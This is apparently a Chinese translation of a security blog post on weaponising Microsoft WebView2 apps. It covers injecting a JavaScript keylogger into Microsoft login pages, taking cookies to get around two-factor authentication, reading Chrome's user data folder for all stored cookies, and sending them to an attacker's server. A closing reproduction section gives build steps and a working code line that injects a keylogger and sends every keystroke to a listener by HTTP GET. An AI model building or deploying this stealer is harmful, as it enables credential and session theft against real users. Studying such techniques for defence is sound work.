利用 WebView2 应用进行攻击

admin 2022年10月17日08:32:35利用 WebView2 应用进行攻击已关闭评论73 views字数 2793阅读9分18秒阅读模式

译文来源:https://mrd0x.com/attacking-with-webview2-applications/ 。

受个人知识所限及所受偏见影响,部分内容或存在过度曲解误解现象。望各位师傅们包含并提供建议,不胜感激。

研究 WebView2 应用程序以及它们如何能够被用于盗取凭证和 cookie 信息。

简介

据微软称,”Microsoft Edge WebView2 允许你在你的本地应用中嵌入使用 web 技术(诸如 HTML、CSS 或 JavaScript)“。本质上讲,WebView2 技术可以用来创建一个可执行文件应用,并且该应用可以实现类似于浏览器与 web 应用程序进行通信的功能。这一做法是为了能够改善桌面应用程序的体验,并且能够给这些应用提供额外的与 web 应用交互的能力。下图展示的就是正版 Office 利用 WebView2 技术所实现的应用。

利用 WebView2 应用进行攻击

对于攻击者而言,使用 WebView2 的主要优势就是它提供了丰富的用于获取凭证及会话信息的功能。在本文中,我将论述并展示作为一名攻击者如何创建一个多用途的 WebView2 应用程序。在我的代码中对原版的 微软 WebView2 案例库 进行了一些修改。不得不说,这是一项既耗时又费力的研究,我必须查阅大量的说明文档并且进行大量的调试工作才得以了解 WebView2 的内部工作原理。

注入 JavaScript

利用 WebView2 的内置功能,能够很轻松的将 JavaScript 代码注入至任何网站。这就意味着你可以加载一个目标网站的同时并向其注入恶意的 JavaScript(如:键盘记录器)。

JavaScript 键盘记录器案例

下例中,我使用了一个能够加载 login.microsoftonline.com 网站并且已经植入了 JavaScript 键盘记录器的 WebView2 应用

利用 WebView2 应用进行攻击

下图中展示了键盘记录器成功的捕获到了键盘输入内容:

利用 WebView2 应用进行攻击

绕过双因子验证

WebView2 同时还提供了用于提取 cookies 信息的内置功能。这允许攻击者在用户通过了 合法网站 的验证之后,对相关的 cookies 信息进行提取。这一技术消除了启动 Evilginx2 或 Modlishka 的必要,但相应明显的代价就是,用户必须执行二进制文件来进行身份验证。

Cookies 泄露案例

下图展示了当用户访问至 https://mrd0x.com 时,cookies 是如何以 base64 格式被提取出来的。

利用 WebView2 应用进行攻击

在对 base64 内容进行解码后,原本的 cookies 信息就可以还原出来了。

利用 WebView2 应用进行攻击

窃取 Chrome cookies 信息

WebView2 可被用来窃取与当前用户有关的所有有效 cookie 信息。这一点在 Chrome 浏览器上也得到了验证。

WebView2 允许你在原有的用户数据目录(User Data Folder, UDF)下启动,而不必重新创建新的目录。在 UDF 中包含了所有保存过的密码、会话信息、书签记录等内容。而 Chrome 浏览器的 UDF 通常情况下会位于 C:\Users\<username>\AppData\Local\Google\Chrome\User Data 目录。这样一来,我们仅仅需要在 WebView2 中指定这一配置文件的位置用于启动实例,并且在启动时提取所有的 cookie 信息再将其传输至攻击者的服务器中即可。

意外发现

但在测试过程中我发现,WebView2 应用实际检索的目录名称为 EBWebView 而并非 User Data (目前尚不知道原因)。为了进一步的测试,我便将 User Data 目录复制并重命名为 EBWebView

利用 WebView2 应用进行攻击

提取所有 Cookie

下图展示了我是如何载入我的 Chrome UDF 并且提取了所有的 cookie 信息。这一功能虽然在我上传至 GitHub 的案例代码中并未实现,但是这一功能的实现方式非常简单,并且我也有在项目的 README 文件中说明了实现这一功能的所需操作。

利用 WebView2 应用进行攻击

应用样本

我上传了一个 O365 的 WebView2 应用程序的代码,该程序在执行时会加载至 www.office.com/login ,在用户成功通过验证后,与 www.office.com 站点相关的 cookie 信息会经 base64 编码并通过 HTTP GET 请求发送至攻击者的服务器上。

启动应用样本

下图展示的是 WebView2 二进制文件的执行启动。

利用 WebView2 应用进行攻击

应用样本利用

下图展示的是用户是如何与该应用进行交互的,以及攻击者是如何利用窃取的 cookie 信息并进行恶意登录的。

利用 WebView2 应用进行攻击

Github Repo

上述应用相关代码我已经 上传 至我的 Github 中了。你也可以根据你个人后续的需求随意的对其进行修改调整。在 README 文件中我也对不同用途的相关实现方式进行了描述。

结语

这一技术手段利弊均沾。较明显的权衡点就是必须在目的主机中执行一个二进制文件,并且需要用户在该应用中输入他的身份凭证。有人也许会质疑,为什么不直接执行 shellcode 来获取目标的远程访问权限呢?这是当然没问题的,但有时也许像是在目标网站中执行恶意 JavaScript 代码这些除了获取远程访问权限之外的目的,会更加符合一部分人的需求吧。

你可以将上述功能扩展至现有的 WebView2 应用中用于获取远程访问权限。不过目前该二进制程序中只使用了微软提供的合法功能。这样可能就会使其变得更难以被安全解决方案产品识别出来。

利用复现

从作者项目地址:https://github.com/mrd0x/WebView2-Cookie-Stealer ,拷贝源码至本机中。

本机安装 Visual Studio 并配置好 WebView2 开发所需环境。

利用 WebView2 应用进行攻击

打开源码目录下载 .sln 文件以打开该项目。

右击项目解决方案,配置属性

利用 WebView2 应用进行攻击

在配置属性中,修改配置为” Release “,并勾选” 生成 “,点击” 确定 “,配置用于生成可执行文件。

利用 WebView2 应用进行攻击

位于” AppWindow.cpp “文件第1096行代码及为插入的键盘记录器代码,每当检测到一次按键动作即向目标地址通过 GET 请求发送当前输入内容,可将当前 JavaScript 代码修改为自定义代码:

coreWebView2->AddScriptToExecuteOnDocumentCreated(L"var link = \"http://127.0.0.1:8080/keylog?k=\";var l = \"\";document.onkeypress = function (e){l += e.key;var req = new XMLHttpRequest();req.open(\"GET\",link.concat(l), true);req.send();}", nullptr);

保存全部文件后,右击项目解决方案,点击” 生成解决方案

若代码编译无误且生成项目成功,则会在项目目录下生成可执行文件

利用 WebView2 应用进行攻击

利用 WebView2 应用进行攻击

利用 python 搭建临时 web 服务作为监听器

利用 WebView2 应用进行攻击

启动生成的可执行文件

利用 WebView2 应用进行攻击

随着每次键盘动作都会触发 js 代码发送输入内容

利用 WebView2 应用进行攻击

登录成功后即会发送当前的 cookie 信息至监听服务器中。

利用 WebView2 应用进行攻击

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年10月17日08:32:35
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   利用 WebView2 应用进行攻击http://cn-sec.com/archives/1353467.html